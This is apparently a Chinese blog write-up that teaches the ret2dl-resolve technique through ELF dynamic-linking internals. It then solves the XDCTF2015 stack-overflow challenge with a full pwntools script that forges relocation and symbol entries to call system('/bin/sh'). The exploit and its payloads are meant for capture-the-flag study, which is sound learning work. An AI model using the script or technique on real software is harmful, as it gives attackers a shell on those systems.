pwn-ret2dl-resolve

0x00:漏洞介紹

ret2dl-resovle這種技術在pwn中的運用也挺多的,可以類比Windows下的IAT技術進行學習,瞭解這個技術之前,我們需要知道ELF文件中各個函數的加載過程,下面就演示一下GOT表是如何加載的,首先我們編譯一個簡單的程序

#include <stdio.h>
int main()
{
    puts("Hello Pwn\n");
    return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c

我們在puts函數下一個斷點,觀察是如何調用這個函數的

thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ gdb a.out
...
pwndbg> b *0x080482e0
Breakpoint 1 at 0x80482e0
pwndbg> r
Starting program: /home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out 

Breakpoint 1, 0x080482e0 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────
 EAX  0x804a000 —▸ 0x8049f14 ◂— 0x1
 EBX  0x804a000 —▸ 0x8049f14 ◂— 0x1
 ECX  0xffffbdb0 ◂— 0x1
 EDX  0x80484f0 ◂— dec    eax /* 'Hello Pwn\n' */
 EDI  0x0
 ESI  0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d4d6c
 EBP  0xffffbd98 ◂— 0x0
 ESP  0xffffbd7c —▸ 0x8048450 ◂— add    esp, 0x10
 EIP  0x80482e0 (puts@plt) ◂— jmp    dword ptr [0x804a00c]
────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────
 ► 0x80482e0  <puts@plt>                  jmp    dword ptr [0x804a00c]
 
   0x80482e6  <puts@plt+6>                push   0
   0x80482eb  <puts@plt+11>               jmp    0x80482d0
    ↓
   0x80482d0                              push   dword ptr [0x804a004]
   0x80482d6                              jmp    dword ptr [0x804a008] <0xf7fead80>
    ↓
   0xf7fead80 <_dl_runtime_resolve>       push   eax
   0xf7fead81 <_dl_runtime_resolve+1>     push   ecx
   0xf7fead82 <_dl_runtime_resolve+2>     push   edx
   0xf7fead83 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
   0xf7fead87 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xc]
   0xf7fead8b <_dl_runtime_resolve+11>    call   _dl_fixup <0xf7fe4f30>
─────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffbd7c —▸ 0x8048450 ◂— add    esp, 0x10
01:0004│      0xffffbd80 —▸ 0x80484f0 ◂— dec    eax /* 'Hello Pwn\n' */
02:0008│      0xffffbd84 —▸ 0xffffbe44 —▸ 0xffffbfdb ◂— '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/a.out'
03:000c│      0xffffbd88 —▸ 0xffffbe4c —▸ 0xffffc00e ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│      0xffffbd8c —▸ 0x804843a ◂— add    eax, 0x1bc6
05:0014│      0xffffbd90 —▸ 0xffffbdb0 ◂— 0x1
06:0018│      0xffffbd94 ◂— 0x0
... ↓
───────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────
 ► f 0  80482e0 puts@plt
   f 1  8048450
   f 2 f7deee81 __libc_start_main+241
Breakpoint *0x080482e0

可以發現,0x80482e6這個地址,並不直接是libc的puts函數的地址。這是因爲linux在程序加載時使用了延遲綁定(lazy
load),只有等到這個函數被調用了,纔去把這個函數在libc的地址放到GOT表中。接下來,會再push一個0,再push一個dword ptr [0x804a004],待會會說這兩個參數是什麼意思,最後跳到libc的_dl_runtime_resolve去執行。這個函數的目的,是根據2個參數獲取到導出函數(這裏是puts)的地址,然後放到相應的GOT表,並且調用它。而這個函數的地址也是從GOT表取並且jmp [xxx]過去的,但是這個函數不會延遲綁定,因爲所有函數都是用它做的延遲綁定。懂得了上面的東西,我們還需要知道一些結構體,類比PE文件的一些結構,用來索引一些結構。

.dynamic

dynamic結構包含了一些關於動態鏈接的關鍵信息,我們只需要關注DT_STRTAB, DT_SYMTAB, DT_JMPREL這三個字段,這三個東西分別包含了指向.dynstr, .dynsym, .rel.plt這3個section的指針

LOAD:08049F14                   ; ELF Dynamic Information
LOAD:08049F14                   ; ===========================================================================
LOAD:08049F14
LOAD:08049F14                   ; Segment type: Pure data
LOAD:08049F14                   ; Segment permissions: Read/Write
LOAD:08049F14                   LOAD segment mempage public 'DATA' use32
LOAD:08049F14                   assume cs:LOAD
LOAD:08049F14 01 00 00 00 01 00+stru_8049F14 Elf32_Dyn <1, <1>>
LOAD:08049F14 00 00                                           ; DATA XREF: LOAD:080480BC↑o
LOAD:08049F14                                                 ; .got.plt:0804A000↓o
LOAD:08049F14                                                 ; DT_NEEDED libc.so.6
LOAD:08049F1C 0C 00 00 00 A8 82+Elf32_Dyn <0Ch, <80482A8h>>   ; DT_INIT
LOAD:08049F24 0D 00 00 00 D4 84+Elf32_Dyn <0Dh, <80484D4h>>   ; DT_FINI
LOAD:08049F2C 19 00 00 00 0C 9F+Elf32_Dyn <19h, <8049F0Ch>>   ; DT_INIT_ARRAY
LOAD:08049F34 1B 00 00 00 04 00+Elf32_Dyn <1Bh, <4>>          ; DT_INIT_ARRAYSZ
LOAD:08049F3C 1A 00 00 00 10 9F+Elf32_Dyn <1Ah, <8049F10h>>   ; DT_FINI_ARRAY
LOAD:08049F44 1C 00 00 00 04 00+Elf32_Dyn <1Ch, <4>>          ; DT_FINI_ARRAYSZ
LOAD:08049F4C F5 FE FF 6F AC 81+Elf32_Dyn <6FFFFEF5h, <80481ACh>> ; DT_GNU_HASH
LOAD:08049F54 05 00 00 00 1C 82+Elf32_Dyn <5, <804821Ch>>     ; DT_STRTAB
LOAD:08049F5C 06 00 00 00 CC 81+Elf32_Dyn <6, <80481CCh>>     ; DT_SYMTAB
LOAD:08049F64 0A 00 00 00 4A 00+Elf32_Dyn <0Ah, <4Ah>>        ; DT_STRSZ
LOAD:08049F6C 0B 00 00 00 10 00+Elf32_Dyn <0Bh, <10h>>        ; DT_SYMENT
LOAD:08049F74 15 00 00 00 00 00+Elf32_Dyn <15h, <0>>          ; DT_DEBUG
LOAD:08049F7C 03 00 00 00 00 A0+Elf32_Dyn <3, <804A000h>>     ; DT_PLTGOT
LOAD:08049F84 02 00 00 00 10 00+Elf32_Dyn <2, <10h>>          ; DT_PLTRELSZ
LOAD:08049F8C 14 00 00 00 11 00+Elf32_Dyn <14h, <11h>>        ; DT_PLTREL
LOAD:08049F94 17 00 00 00 98 82+Elf32_Dyn <17h, <8048298h>>   ; DT_JMPREL
LOAD:08049F9C 11 00 00 00 90 82+Elf32_Dyn <11h, <8048290h>>   ; DT_REL
LOAD:08049FA4 12 00 00 00 08 00+Elf32_Dyn <12h, <8>>          ; DT_RELSZ
LOAD:08049FAC 13 00 00 00 08 00+Elf32_Dyn <13h, <8>>          ; DT_RELENT
LOAD:08049FB4 FE FF FF 6F 70 82+Elf32_Dyn <6FFFFFFEh, <8048270h>> ; DT_VERNEED
LOAD:08049FBC FF FF FF 6F 01 00+Elf32_Dyn <6FFFFFFFh, <1>>    ; DT_VERNEEDNUM
LOAD:08049FC4 F0 FF FF 6F 66 82+Elf32_Dyn <6FFFFFF0h, <8048266h>> ; DT_VERSYM
LOAD:08049FCC 00 00 00 00 00 00+Elf32_Dyn <0>                 ; DT_NULL

.dynstr

.dynstr是一個字符串表,index[0]的地方永遠是0,然後後面是動態鏈接所需的字符串,以0結尾,包括導入函數名,比方說這裏很明顯有個puts。到時候,相關數據結構引用一個字符串時,用的是相對這個section頭的偏移,比方說,在這裏,就是字符串相對0x804821C的偏移。

LOAD:0804821C                   ; ELF String Table
LOAD:0804821C 00                byte_804821C db 0             ; DATA XREF: LOAD:080481DC↑o
LOAD:0804821C                                                 ; LOAD:080481EC↑o
LOAD:0804821C                                                 ; LOAD:080481FC↑o
LOAD:0804821C                                                 ; LOAD:0804820C↑o
LOAD:0804821D 6C 69 62 63 2E 73+aLibcSo6 db 'libc.so.6',0
LOAD:08048227 5F 49 4F 5F 73 74+aIoStdinUsed db '_IO_stdin_used',0
LOAD:08048227 64 69 6E 5F 75 73+                              ; DATA XREF: LOAD:0804820C↑o
LOAD:08048236 70 75 74 73 00    aPuts db 'puts',0             ; DATA XREF: LOAD:080481DC↑o
LOAD:0804823B 5F 5F 6C 69 62 63+aLibcStartMain db '__libc_start_main',0
LOAD:0804823B 5F 73 74 61 72 74+                              ; DATA XREF: LOAD:080481FC↑o
LOAD:0804824D 47 4C 49 42 43 5F+aGlibc20 db 'GLIBC_2.0',0
LOAD:08048257 5F 5F 67 6D 6F 6E+aGmonStart db '__gmon_start__',0
LOAD:08048257 5F 73 74 61 72 74+                              ; DATA XREF: LOAD:080481EC↑o

.dynsym

結構如下,這是一個符號表(結構體數組),裏面記錄了各種符號的信息,每個結構體對應一個符號。我們這裏只關心函數符號,比如puts函數。結構體定義如下

typedef struct
{
  Elf32_Word    st_name; //符號名,是相對.dynstr起始的偏移,這種引用字符串的方式在前面說過了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //對於導入函數符號而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //對於導入函數符號而言,其他字段都是0

在IDA中顯示如下

LOAD:080481CC                   ; ELF Symbol Table
LOAD:080481CC 00 00 00 00 00 00+Elf32_Sym <0>
LOAD:080481DC 1A 00 00 00 00 00+Elf32_Sym <offset aPuts - offset byte_804821C, 0, 0, 12h, 0, 0> ; "puts"
LOAD:080481EC 3B 00 00 00 00 00+Elf32_Sym <offset aGmonStart - offset byte_804821C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:080481FC 1F 00 00 00 00 00+Elf32_Sym <offset aLibcStartMain - offset byte_804821C, 0, 0, 12h, 0, 0> ; "__libc_start_main"
LOAD:0804820C 0B 00 00 00 EC 84+Elf32_Sym <offset aIoStdinUsed - offset byte_804821C, offset _IO_stdin_used, 4, 11h, 0, 10h> ; "_IO_stdin_used"

.rel.plt

這裏是重定位表(不過跟windows那個重定位表概念不同),也是一個結構體數組,每個項對應一個導入函數。結構體定義如下:

typedef struct
{
  Elf32_Addr    r_offset; //指向GOT表的指針
  Elf32_Word    r_info; //重定位入口的類型和符號
} Elf32_Rel;

在IDA中顯示如下

LOAD:08048298                   ; ELF JMPREL Relocation Table
LOAD:08048298 0C A0 04 08 07 01+Elf32_Rel <804A00Ch, 107h>    ; R_386_JMP_SLOT puts
LOAD:080482A0 10 A0 04 08 07 03+Elf32_Rel <804A010h, 307h>    ; R_386_JMP_SLOT __libc_start_main
LOAD:080482A0 00 00             LOAD ends

上面的結構體看起來也挺迷糊人的,我只是根據一位大佬的文章總結過來的,下面纔是我們需要清楚的關鍵函數 _dl_runtime_resolve(link_map_obj, reloc_index) ,源碼可以在這裏下載。

_dl_runtime_resolve函數運行模式如下:

  1. 用link_map訪問.dynamic,取出.dynstr, .dynsym, .rel.plt的指針
  2. .rel.plt + 第二個參數求出當前函數的重定位表項Elf32_Rel的指針,記作rel
  3. rel->r_info >> 8作爲.dynsym的下標,求出當前函數的符號表項Elf32_Sym的指針,記作sym
  4. .dynstr + sym->st_name得出符號名字符串指針
  5. 在動態鏈接庫查找這個函數的地址,並且把地址賦值給*rel->r_offset,即GOT表
  6. 調用這個函數

利用方法主要是僞造rel.plt表和symtab表,並且修改reloc_argc,讓重定位函數解析我們僞造的結構體,藉此修改符號解析的位置,對於一些字段的獲取,我們可以用objdump來尋找,如下圖

thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .rel.plt ./main

./main:     文件格式 elf32-i386

Contents of section .rel.plt:
 8048330 0ca00408 07010000 10a00408 07020000  ................
 8048340 14a00408 07040000 18a00408 07050000  ................
 8048350 1ca00408 07060000                    ........        
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynsym ./main

./main:     文件格式 elf32-i386

Contents of section .dynsym:
 80481d8 00000000 00000000 00000000 00000000  ................
 80481e8 33000000 00000000 00000000 12000000  3...............
 80481f8 27000000 00000000 00000000 12000000  '...............
 8048208 52000000 00000000 00000000 20000000  R........... ...
 8048218 20000000 00000000 00000000 12000000   ...............
 8048228 3a000000 00000000 00000000 12000000  :...............
 8048238 4c000000 00000000 00000000 12000000  L...............
 8048248 2c000000 44a00408 04000000 11001a00  ,...D...........
 8048258 0b000000 3c860408 04000000 11001000  ....<...........
 8048268 1a000000 40a00408 04000000 11001a00  ....@...........
thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ objdump -s -j .dynstr ./main

./main:     文件格式 elf32-i386

Contents of section .dynstr:
 8048278 006c6962 632e736f 2e36005f 494f5f73  .libc.so.6._IO_s
 8048288 7464696e 5f757365 64007374 64696e00  tdin_used.stdin.
 8048298 7374726c 656e0072 65616400 7374646f  strlen.read.stdo
 80482a8 75740073 65746275 66005f5f 6c696263  ut.setbuf.__libc
 80482b8 5f737461 72745f6d 61696e00 77726974  _start_main.writ
 80482c8 65005f5f 676d6f6e 5f737461 72745f5f  e.__gmon_start__
 80482d8 00474c49 42435f32 2e3000             .GLIBC_2.0.     

0x01:例子

題目鏈接

首先檢查保護機制

thunder@thunder-PC:~/Desktop/CTF/pwn/ret2dl-resolve$ checksec main
[*] '/home/thunder/Desktop/CTF/pwn/ret2dl-resolve/main'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  char buf[4]; // [esp+0h] [ebp-6Ch]
  char v6; // [esp+18h] [ebp-54h]
  int *v7; // [esp+64h] [ebp-8h]

  v7 = &argc;
  strcpy(buf, "Welcome to XDCTF2015~!\n");
  memset(&v6, 0, 0x4Cu);
  setbuf(stdout, buf);
  v3 = strlen(buf);
  write(1, buf, v3);
  vuln();
  return 0;
}

vuln

ssize_t vuln()
{
  char buf; // [esp+Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}

題目思路非常清晰,read函數存在棧溢出,但是沒有libc,ROPgadget也很少,這裏就可以考慮ret2dl-resolve,我們先將棧轉移到bss段,然後構造結構體,實現對system函數的解析,然後getshell

第一處payload負責棧轉移,將eip覆蓋爲.rel.plt地址,傳遞一個可控的rel_offset,使rel_entry落在可控區域

payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

第二處的payload負責僞造rel_entry使sym_entry落在可控區域,僞造sym_entry使sym_name爲‘system’

payload2 = p32(0x0) # pop ebp, 隨便設反正不用了
payload2 += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面說的push link_map那個位置
payload2 += p32(FAKE_REL_OFF) # 僞造的重定位表OFFSET
payload2 += p32(0xdeadbeef) # 返回地址
payload2 += p32(bin_sh) # 參數'/bin/sh'
payload2 += fake_rel_plt + fake_dynsym + fake_dynstr

exp

from pwn import *

r = process('./main')
elf = ELF('./main')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
    gdb.attach(r)

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr

bss_addr = 0x804a300 # readelf -S main => .bss
DYN_RESOL_PLT = 0x8048380 # readelf -S main => .plt
leave_ret = 0x08048458 # ROPgadget --binary main --only "leave|ret"

fake_rel_plt_addr = bss_addr
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh = fake_dynstr_addr + 0x7

FAKE_REL_OFF = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_off = fake_dynstr_addr - dynstr_addr

payload = 'a'*108 + p32(bss_addr - 20) + p32(elf.plt['read']) + p32(leave_ret) + p32(0) + p32(bss_addr - 20) + p32(0x50)

r.recvuntil('!\n')
r.sendline(payload) # stack immigration

fake_rel_plt = p32(elf.got['read'])+p32(r_info)
fake_dynsym = p32(str_off) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"

payload2 = p32(0x0) + p32(DYN_RESOL_PLT) + p32(FAKE_REL_OFF) + p32(0xdeadbeef) + p32(bin_sh) + fake_rel_plt + fake_dynsym + fake_dynstr

r.sendline(payload2) # construct a fake structure

r.interactive()

0x02:總結

這個腳本可以保存一份,以後遇到類似的題目可以直接套用腳本

參考鏈接:
https://bbs.pediy.com/thread-227034.htm

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章